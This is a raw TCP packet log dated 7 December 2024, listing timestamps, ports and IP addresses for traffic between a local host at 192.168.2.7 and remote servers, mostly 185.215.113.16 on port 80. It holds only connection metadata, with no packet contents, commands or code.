Dec 7, 2024 18:27:03.947977066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.948081017 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.948126078 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.948991060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.949038029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.949134111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.949177980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.950059891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.950115919 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.950177908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.950218916 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.951152086 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.951201916 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.951327085 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.951370955 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.952197075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.952250004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.952387094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.952433109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.953274965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.953326941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.953479052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.953525066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.954294920 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.954354048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.954463005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.954508066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.955362082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.955415964 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.955584049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.955626965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.956419945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.956468105 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.956542015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.956587076 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.957499027 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.957551956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.957636118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.957679987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.958529949 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.958581924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.958661079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.958705902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.959769964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.959806919 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.959827900 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.959842920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.960669041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.960719109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.960876942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.960922003 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.961720943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.961770058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.961863041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.961910009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.962781906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.962835073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.962892056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.962933064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.963864088 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.963932991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.964005947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.964047909 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.964891911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.964940071 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.965010881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.965050936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.966003895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.966048956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.966104984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.966150999 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103014946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103141069 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103163004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103180885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103204966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103219032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103482962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103496075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103523970 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103537083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.103923082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.103965044 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.104145050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.104182959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.104306936 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.104346037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.104518890 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.104556084 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.104684114 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.104696035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.104721069 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.104734898 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.105375051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.105417013 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.105555058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.105566978 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.105591059 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.105604887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.106252909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.106292963 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.106417894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.106430054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.106453896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.106467009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.107089996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.107144117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.107240915 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.107254028 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.107278109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.107290983 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.108154058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.108190060 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.108315945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.108329058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.108355045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.108367920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.108822107 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.108861923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.108978987 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.108992100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.109018087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.109030008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.109716892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.109728098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.109739065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.109762907 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.109806061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.110512972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.110553980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.110673904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.110690117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.110712051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.110729933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.111346960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.111393929 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.111524105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.111535072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.111567974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.112211943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.112253904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.112376928 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.112389088 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.112420082 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.112432957 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.113130093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.113177061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.113291025 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.113303900 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.113331079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.113343000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.114057064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114100933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.114193916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114206076 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114233971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.114773989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114830017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.114900112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114912033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.114942074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.114952087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.115633011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.115683079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.115814924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.115825891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.115866899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.116511106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.116559029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.116652966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.116666079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.116698980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.117342949 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.117393017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.117485046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.117497921 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.117527962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.117544889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.118174076 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.118221998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.118315935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.118326902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.118364096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.119051933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.119098902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.119221926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.119232893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.119267941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.119905949 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.119954109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.120049000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.120062113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.120096922 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.120893002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.120944977 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.121020079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.121032000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.121067047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.121081114 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.121599913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.121649027 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.121754885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.121767044 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.121797085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.121809959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.122473001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.122520924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.122778893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.122824907 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.122912884 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.122925043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.122966051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.123641014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.123692036 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.123794079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.123806000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.123837948 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.123862982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.124478102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.124522924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.124614000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.124627113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.124660015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.125319958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.125365019 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.125555992 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.125566959 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.125601053 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.125613928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.126149893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.126199007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.126291037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.126302958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.126344919 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.126344919 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.127031088 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.127075911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.127252102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.127264023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.127300024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.127880096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.127928019 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.128019094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.128031015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.128063917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.128715038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.128765106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.128875971 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.128886938 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.128984928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.129564047 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.129611015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.129729986 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.129741907 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.129779100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.130415916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.130460978 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.130537987 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.130580902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.132723093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.132770061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.132863998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.132874966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.132906914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.132919073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.133295059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.133341074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.133511066 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.133529902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.133553982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.133564949 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.134010077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.134054899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.199454069 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.202959061 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.203030109 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.203064919 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.203083992 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.203094959 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.203100920 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.205782890 CET	49840	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.205800056 CET	443	49840	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.205885887 CET	49840	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.206060886 CET	49840	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.206073999 CET	443	49840	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.295295954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295368910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.295448065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295459986 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295489073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.295905113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295917988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295929909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.295954943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.295968056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.296514988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.296561956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.296688080 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.296732903 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.296925068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.296945095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.296968937 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.296982050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.297604084 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.297646999 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.297738075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.297749996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.297785044 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.298465014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.298508883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.298613071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.298625946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.298656940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.299276114 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.299329042 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.299443007 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.299454927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.299490929 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.300097942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.300142050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.300244093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.300256014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.300291061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.300987959 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.301029921 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.301207066 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.301219940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.301255941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.301836967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.301882029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.302161932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.302181005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.302207947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.302222967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.302742004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.302788019 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.302875042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.302886009 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.302923918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.303755999 CET	80	49831	185.215.113.16	192.168.2.7
